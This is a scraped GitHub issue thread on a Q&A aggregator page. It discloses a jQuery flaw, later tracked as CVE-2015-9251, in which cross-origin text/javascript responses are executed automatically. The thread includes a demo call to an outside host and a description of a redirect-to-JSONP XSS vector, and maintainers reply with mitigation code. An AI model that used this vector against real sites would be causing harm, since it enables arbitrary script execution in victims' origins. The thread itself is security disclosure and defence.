question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses

See original GitHub issue

Because of this https://github.com/jquery/jquery/blob/250a1990baa571de60325ab2c52eabb399c4cf9e/src/ajax/script.js#L18 every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).

So when we do $.get(‘http://weather.com/sf-weather’) or like in Rails’ jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo $.get('http://sakurity.com/jqueryxss')

The fix is to not execute responses from 3rd party origins by default and make it an option. Don’t know who to cc to discuss it.

P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.

Issue Analytics

  • State:closed
  • Created 8 years ago
  • Reactions:11
  • Comments:39 (23 by maintainers)

github_iconTop GitHub Comments

4reactions
jaubourgcommented, Sep 14, 2015

Everything about automated script detection is configurable so it’s pretty easy to disable it (untested examples that should work):

// Good: disable javascript detection globally
$.ajaxSetup( {
    contents: {
        javascript: false
    }
} );

// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
    converters: {
        "test => javascript": false
    }
} );

// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.javascript = false;
    }
} );

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I’d recommand just removing the javascript dataType detection in the default options then).

3reactions
anarcatcommented, Jan 18, 2018

CVE-2015-9251 was assigned to track this issue.

Read more comments on GitHub >

github_iconTop Results From Across the Web

Vulnerabilities of jQuery versions embedded in UI for ASP ...
These reported vulnerabilities in jQuery 1.11.1 and 1.12.4 - in most ... here: Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses.
Read more >
How to exploit publicy known vunerable version of jquery?
Let's say we have The library jquery version 2.1.1 that has known security issues. if you search for it in internet you get...
Read more >
Upgrade JQuery and Bootstrap - App Development
Jquery version: 2.2.4 Bootstrap version: 4.0… ... Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses.
Read more >
Followup: jQuery library update - Graylog Community
jquery 2.1.4 - Info: Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses · Issue #2432 · jquery/jquery · GitHub ...
Read more >
Libraries that evaluate remote JavaScript - Sjoerd Langkemper
In addition, if the response to the AJAX request contains JavaScript, ... jQuery behavior for 3rd party text/javascript responses ...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found